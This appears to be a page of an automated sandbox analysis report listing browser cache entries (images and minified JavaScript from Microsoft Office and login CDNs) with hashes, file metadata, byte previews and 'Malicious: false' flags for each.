Y.....w.

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1037 x 807, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	454211
Entropy (8bit):	7.990991479839813
Encrypted:	true
SSDEEP:	12288:2YIEcwyZJePwC+T+nOpGqxWwuoyTvtkz124TdyKd:5TqDBBAUEY1HHd
MD5:	40F76B47F614919A109A3E36E611B55F
SHA1:	161E1B199DA787D63485E2C0D0B2EAFCAF0A60E8
SHA-256:	0577A7A47D06A9385C6BF2A52E5B5646B73B2A331B31F016EEADC7308370F753
SHA-512:	98F92FAF568AA1F03B8DDD4493DA52E8B095FA3AB518F0B6A606CD423A12D8AB51AA9453211CF10844787A1BFC146E3485A1CF940FB7D73C63B71CC2130B79C5
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-commercial-3-mreb-40f76b47f6.png
Preview:	.PNG........IHDR.......'.....U.3....pHYs.........&.:4....sRGB.........gAMA......a.....IDATx.....$.u......u.k;.=..0.o...h."..Q\R\|Z..R.....{.....Oz..J+i..OK.2.$..H..a......7......[.*.s"#+23..n.@"....[...ddVu..9q.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[...........V.U......APZ.k....G.d.0..6.Agc8(v..Zg......g.x:."...............;.N4........}.k7..q.......\|.Z./....`6.E.....E.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (31996)
Category:	downloaded
Size (bytes):	109380
Entropy (8bit):	5.285141459841926
Encrypted:	false
SSDEEP:	1536:ZpBERvy5imPGTaAQMbe7HbxnBBD66dUa9en/BJTlOorjDBRISCIHqB9CcFJZ5Iqy:mCY/BJTlrRRfCIHqCcFNQijHFq
MD5:	D78F09B7284EE25C27265B1DF43F5395
SHA1:	9EDCAD1DE9A5ED59536F78C7BB1FD8A4DA81301A
SHA-256:	E3AD812DAF7C81F8CF38FCB6B76761924D24C2FA6AF4B7CF40E125D42794CCCE
SHA-512:	5DACD420C78488B27E3BBB64B3F437550203385DE47C99BA0F1799315BFF4B19FCBB08291E3C30DED9983010EBDFD410FD0A39FCF09DC1D6A523692085D22AEA
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/unauth-vendor-d78f09b728.js
Preview:	function getDefaultAadUser(e){var t,n="aadData.userList[",r=null;if(e==r\|\|void 0===e)return t="Null or Undefined AAD user data.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};if(e.error!=r&&""!==e.error)return t="Error '"+e.error+"' found in the data.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorCode:e.error,errorMessage:t};if(e.userList==r\|\|void 0===e.userList)return t="AAD UserList is null or undefined.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};if(e.userList.length<=0)return t="No signed in AAD user found.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};for(var o=[],i=0;i<e.userList.length;i++)e.userList[i]!=r&&void 0!==e.userList[i]?e.userList[i].idp.toLocaleUpperCase()!==Constants.Idp.msaFed\|\|msaFedEnabled?e.userList[i].memberName!=r&&void 0!==e.userList[i].memberNam

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446)
Category:	downloaded
Size (bytes):	96560
Entropy (8bit):	5.283615597469865
Encrypted:	false
SSDEEP:	768:p/49x86KxB+bBIQLCe3V8D+3QvQ6owf94eHnTWyjj5qKFbc3G06xrOZe0iUDWrJG:p/4A338AY1eRFbF9ORKrqE/2l/U8v
MD5:	C6EE18B26679F49F62FAF1F3BD2C5D6A
SHA1:	5A838A13BACB046824FE99814D23018DCDA3893D
SHA-256:	DFD690581A8F8055F65DD8E164FFF97CC00C15CFCA94A79CCD2306D330A237A6
SHA-512:	020361B5EF03BFD15EEEAC643DA37FCCA77F16CB10AC682938F4268DE09862DFDC5663804D46E9469F08CA817FE1721F87090131F67AEA045C2260AAEBDD6696
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/otel-logger-eedf49f465ce51be0b2b.js
Preview:	/! For license information please see otel-logger-eedf49f465ce51be0b2b.js.LICENSE.txt /.!function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s="BV

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2500 x 828, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1568713
Entropy (8bit):	7.994353727710284
Encrypted:	true
SSDEEP:	24576:+SlEJttUZ+N7R8NrWZaF2sTAHPapdyjLLb7pFhO0+juu1nwdYAfnJ:+Qw8IcrSawsTMjLTpPj
MD5:	7BF078A5F39C15673178E3C77EBDFBCE
SHA1:	3FEAC213FCA05D4811FA705C60D726F5DC81B06D
SHA-256:	7C5FBD491C8E2916ACDB0955EC27F21E6C933860B33626FD1DED5486816BDD35
SHA-512:	CD621836F8420630E1A1A1B0F5BACDBFACB6C3FAC6CD9F93CF0500C5F3C05B8485C7CF0AF9CCE3F5025399FCC718EB0C8318C4E28174742D920D50022490FECE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......<.....s.1.....pHYs.................sRGB.........gAMA......a....^IDATx...Y.%Iz....1.i...s........@.8..}(RF3]Qf}...f4.Q...?A7.L...tA...e..%..I:.....Q...Du.9.yXcD....=.#..U...Px...k..<<<<<v.....B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (598), with CRLF line terminators
Category:	downloaded
Size (bytes):	663
Entropy (8bit):	4.957407975460591
Encrypted:	false
SSDEEP:	12:Q49uzKzIBXnI/ZlR3LcQgf1I/hJLcgmf1I/2nI/2IZ3p1q:RExSZj4QgfYhW9fY52I9y
MD5:	67A41343D2A50DC0850240E5BC120F20
SHA1:	FDC4A8AF24C7E9CF194165A1D75EFAE857B1078D
SHA-256:	A9695B12F0C528A54E3801F1E8F3F9F7BECD7485E6EF12C4C76F198C82A82F9F
SHA-512:	7755218F61C3608246F0830F4C05E42EE77FAD5089FC757C7FA5488A26F9D51CF866474C2F3831A24F075BF5DB38785F1F3CF6B4A6BD5F02470C7841FDD116B4
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-navigation-preload.prod.js
Preview:	this.workbox=this.workbox\|\|{},this.workbox.navigationPreload=function(t){"use strict";try{self.workbox.v["workbox:navigation-preload:3.6.3"]=1}catch(t){}function e(){return Boolean(self.registration&&self.registration.navigationPreload)}return t.disable=function(){e()&&self.addEventListener("activate",t=>{t.waitUntil(self.registration.navigationPreload.disable().then(()=>{}))})},t.enable=function(t){e()&&self.addEventListener("activate",e=>{e.waitUntil(self.registration.navigationPreload.enable().then(()=>{t&&self.registration.navigationPreload.setHeaderValue(t)}))})},t.isSupported=e,t}({});....//# sourceMappingURL=workbox-navigation-preload.prod.js.map..

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (918)
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.4604704891374
Encrypted:	false
SSDEEP:	24:hY/LLuvW9BokgrY7cMdhwCBie46Tz1QqIJIzcq9X5wXR5viRX4j:bCo5Y73hwCd4olUItp5wrNj
MD5:	5DC258F6742F6D22A4CD80F50926ED70
SHA1:	2925F965C31990E0F883E2E885A3D57056168DCC
SHA-256:	3B8D3C93FD78C24F4C175C8515E4A5DF79AEE536AF4CED58BA078EA591569EAC
SHA-512:	BB63B3078587A823CCBB2314EFF3CCC16B20A01AC717CE37289DA8B5118E5053F867CE62256CC1C9466A7E2CBF60C854F4DEA68A060D67CC51BAAB17179E140C
Malicious:	false
Reputation:	low
URL:	https://msft.hsprotect.net/index.html
Preview:	<!DOCTYPE html>.<html lang='en'>.<head>. <meta charset='UTF-8'>. <meta name='viewport' content='width=device-width, initial-scale=1.0'>. <title>Human Sensor Script Iframe</title>.</head>.<body>.<script>. var a=["_pxvid","_px3","_pxde"];function b(a){var b=new RegExp("(^\| )"+a+"=([^;]+)"),c=document.cookie.match(b);return c?c[2]:null}function c(a,b,c){window.parent.postMessage({type:"cookie",name:a,value:b,expires:c\|\|new Date(Date.now()+31536e6).toUTCString()},"")}function d(a){var b=/^([^=]+)=([^;])/,c=/expires=([^;]+)/,d=a.match(b),e=d?d[1]:null,f=d?d[2]:null,g=a.match(c),h=g?g[1]:null;return{cookieName:e,cookieValue:f,expires:h}}function e(b){var e=d(b);-1!==a.indexOf(e.cookieName)&&c(e.cookieName,e.cookieValue,e.expires)}function f(){try{var a=Object.getOwnPropertyDescriptor(Document.prototype,"cookie")\|\|Object.getOwnPropertyDescriptor(Object.getPrototypeOf(document),"cookie"),b=a.get.bind(document),c=a.set.bind(document);Object.defineProperty(document,"cookie",{get:fu

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2501 x 831, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	871456
Entropy (8bit):	7.99321885800314
Encrypted:	true
SSDEEP:	12288:0gKYAG/kgSHCI1lCaBDevD+ht1s996/cZoCCejkEnK3eXJdcKyMn5A+dZLw:rQR/1l9evDGdEZRzgAJdB/DdZE
MD5:	46B510EC8A77F53E8C201F8779D69E42
SHA1:	A21718B5BA16FF1BC10C43FFE9F4823D5EB414B0
SHA-256:	D7315CEF7F382EB88B09A82EB3D5F13564105D5CE8413888963699E4BB523895
SHA-512:	17E5C09882E8700C731AFE807F98D30658058CB9AC74A60CD291C37F0242863A2FB524829D708867529A368463D5949097D25DA5C6E6CF87DE0F9B125CA614AC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......?.......(.....pHYs.................sRGB.........gAMA......a...K.IDATx.......y..>..}.].n-.R.$.%K.,#K.e....6.6.m.a9....0..=}.i...9s.9}.....{`.6....h....j......ZJ.Rm......%3&#3.'.}oI6.H.._.w.\"##"#.'..<".......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (31996)
Category:	dropped
Size (bytes):	109380
Entropy (8bit):	5.285141459841926
Encrypted:	false
SSDEEP:	1536:ZpBERvy5imPGTaAQMbe7HbxnBBD66dUa9en/BJTlOorjDBRISCIHqB9CcFJZ5Iqy:mCY/BJTlrRRfCIHqCcFNQijHFq
MD5:	D78F09B7284EE25C27265B1DF43F5395
SHA1:	9EDCAD1DE9A5ED59536F78C7BB1FD8A4DA81301A
SHA-256:	E3AD812DAF7C81F8CF38FCB6B76761924D24C2FA6AF4B7CF40E125D42794CCCE
SHA-512:	5DACD420C78488B27E3BBB64B3F437550203385DE47C99BA0F1799315BFF4B19FCBB08291E3C30DED9983010EBDFD410FD0A39FCF09DC1D6A523692085D22AEA
Malicious:	false
Reputation:	low
Preview:	function getDefaultAadUser(e){var t,n="aadData.userList[",r=null;if(e==r\|\|void 0===e)return t="Null or Undefined AAD user data.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};if(e.error!=r&&""!==e.error)return t="Error '"+e.error+"' found in the data.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorCode:e.error,errorMessage:t};if(e.userList==r\|\|void 0===e.userList)return t="AAD UserList is null or undefined.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};if(e.userList.length<=0)return t="No signed in AAD user found.",LoggingUtils.log(t,enableConsoleLog),{upn:r,validSignedInUsers:0,totalSignedInUsers:0,errorMessage:t};for(var o=[],i=0;i<e.userList.length;i++)e.userList[i]!=r&&void 0!==e.userList[i]?e.userList[i].idp.toLocaleUpperCase()!==Constants.Idp.msaFed\|\|msaFedEnabled?e.userList[i].memberName!=r&&void 0!==e.userList[i].memberNam

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65462)
Category:	dropped
Size (bytes):	905221
Entropy (8bit):	5.405176932301696
Encrypted:	false
SSDEEP:	6144:95O+Oy7DIZjWlUrHT5Ql7fm3AgOX0/dlhGSMLskSolTNdk4MjPTy6TJ2GRix:SB/rHphdlbMLK4MjPTy6dPRC
MD5:	38916CE7C53621B99379EF408055AFCA
SHA1:	34E569915B3868C58BD93A6F0410C0380862DCCE
SHA-256:	5B637E95DB053A939A7CC379A9720548E253658840577458E07B755BC366B1CC
SHA-512:	23978097C8AF0A1F733D49A2852B204FF6C3C9FD16B5B3CB2E51E8EB969D9E39AC0FE04C5461ADDF4564CFC4D1DCCCB9A1B43CE9BCD7098E632FA9B972296786
Malicious:	false
Reputation:	low
Preview:	/! For license information please see signup-fabric_en.js.LICENSE.txt /.!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function c(e){return r.isMemo(e)?a:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var s=Object.defineProperty,u=Object.getOwnPropertyNames,p=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,f=Object.getPrototypeOf,g=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(g){var o=f(n);o&&o!==g&&e(t,o,r)}var a=u(n);p&&(a=a.concat(p(n)));for(var l=c(t),m=c(n),h=0;h<a.length;++h){var b=a[h];if(!(i[b]

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/images/2_bc3d32a696895f78c19d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	97741
Entropy (8bit):	5.317413225936828
Encrypted:	false
SSDEEP:	1536:yomI9/afvZtvdKJiT315bQNrkSGQSv921rl1:aI9CfPciD158NrkO1
MD5:	C57CC11A511063B808F4A2C7745DF8D0
SHA1:	CEB6E14B7520A995C7E9C3BB6F3C1DCD56CCB5EE
SHA-256:	65628140B0930C3F9ED1A06A8F30F454245A08665047C6A95B592DFD164F4E9F
SHA-512:	CA8C7FCB456D3819FBA65A5040547D5A169FC5BDA9F1EA8479EA75C0580A57D02DC07525445F9FA7EC0D09CF2F38A6B8F71F297F715A0059AB8786D5D85BF948
Malicious:	false
Reputation:	low
Preview:	(()=>{"use strict";var e={},n={};function t(r){var i=n[r];if(void 0!==i)return i.exports;var o=n[r]={id:r,loaded:!1,exports:{}};return e[r](o,o.exports,t),o.loaded=!0,o.exports}t.m=e,(()=>{var e,n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__;t.t=function(r,i){if(1&i&&(r=this(r)),8&i)return r;if("object"==typeof r&&r){if(4&i&&r.__esModule)return r;if(16&i&&"function"==typeof r.then)return r}var o=Object.create(null);t.r(o);var a={};e=e\|\|[null,n({}),n([]),n(n)];for(var u=2&i&&r;"object"==typeof u&&!~e.indexOf(u);u=n(u))Object.getOwnPropertyNames(u).forEach((e=>a[e]=()=>r[e]));return a.default=()=>r,t.d(o,a),o}})(),(()=>{t.d=(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})}})(),(()=>{t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce(((n,r)=>(t.f[r](e,n),n)),[]))})(),(()=>{t.u=e=>"inline.text-encoder-lite.chunk.js"})(),(()=>{t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("retur

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30221)
Category:	dropped
Size (bytes):	30273
Entropy (8bit):	5.26135621409318
Encrypted:	false
SSDEEP:	768:42W2n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:4XM0S0/ks2JdImYFcw662A86vzyR
MD5:	9A3D03748259F75C7FCB9FF38217188B
SHA1:	603E40F5EDF8A9F9776ABAF40608D8188F14AA43
SHA-256:	85ED62025446CE50B8DB01DBE45485596DB9B9DB6A305BFA3E86AD8EA7305214
SHA-512:	B2E7463DC490BB22FD4CAC06555B54DC844CD20B84B18618CA207689435B7FADA1E85BFABC725863E5E8FB4C1F7BD3EF082E7780DF1BAF1955759209E621284F
Malicious:	false
Reputation:	low
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"office","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authAppUpsell

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1699 x 1181, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	793073
Entropy (8bit):	7.9926326015445595
Encrypted:	true
SSDEEP:	12288:zzR6wui4acRTYbntjQHv/6/nIz78wWDgqzMv0RxvAL+YopRvJl9JsG4VF5Rq5:zzRe+cRTY7+HKKASMRO+X3RJsGeg
MD5:	979FF0DCE1EDA2035552AD1AA4EFACFA
SHA1:	5765B464F4C94028C4D7492159E2B584DDE8E357
SHA-256:	5979E07897CC0115AC1F320D880B419BF59185B8E6C7BCC75011784E90EA1FEF
SHA-512:	623737D9A6493C87C6EE0765A8880AB3E1C1A67E674C3B4AA908049DE34CBC3D1A899BA1B6C644B881490453DD9067953F3AD00E5E335F872E5CB1AE30EEC244
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............&.....pHYs.................sRGB.........gAMA......a.....IDATx...Y.ui~..k.............l..H....K.`.T...!..Yv.... .$... ... 7....A`...A,..e....bsR.U.Mg..Z+..<.w.]...Uu.2).......^k....L..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3819), with CRLF line terminators
Category:	downloaded
Size (bytes):	3882
Entropy (8bit):	5.055778115662586
Encrypted:	false
SSDEEP:	96:Z1Q4iRK7iB89lvxii2K1spRktDfp5FJlZTa+:ZEKRVxii24CRyrp5FJd
MD5:	041A8B74D42100CA1CBDECD14D72AB8D
SHA1:	EFC726C2C4B53287CE7FB8AC8F45284508EFACF3
SHA-256:	E2386999B3E0F155075A8D614F6128D898DF59D67374B15B4D21A9A5E53DEB1E
SHA-512:	7E43F9E2EAA05DB4C0B470F5717E6FE13FD8734A76DAD58FF367D0F88C00254DDB142FCD66DEB14E7CA128F25EB64608F173524CF0FA9782511FD5D63F076991
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-cache-expiration.prod.js
Preview:	this.workbox=this.workbox\|\|{},this.workbox.expiration=function(e,t,r,n,i){"use strict";try{self.workbox.v["workbox:cache-expiration:3.6.3"]=1}catch(e){}const s="url",a="timestamp";class l{constructor(e){this.e=e,this.t=e,this.r=new t.DBWrapper(this.e,2,{onupgradeneeded:e=>this.n(e)})}n(e){const t=e.target.result;e.oldVersion<2&&t.objectStoreNames.contains("workbox-cache-expiration")&&t.deleteObjectStore("workbox-cache-expiration"),t.createObjectStore(this.t,{keyPath:s}).createIndex(a,a,{unique:!1})}setTimestamp(e,t){var r=this;return babelHelpers.asyncToGenerator(function(){yield r.r.put(r.t,{[s]:new URL(e,location).href,[a]:t})})()}getAllTimestamps(){var e=this;return babelHelpers.asyncToGenerator(function(){return yield e.r.getAllMatching(e.t,{index:a})})()}getTimestamp(e){var t=this;return babelHelpers.asyncToGenerator(function(){return(yield 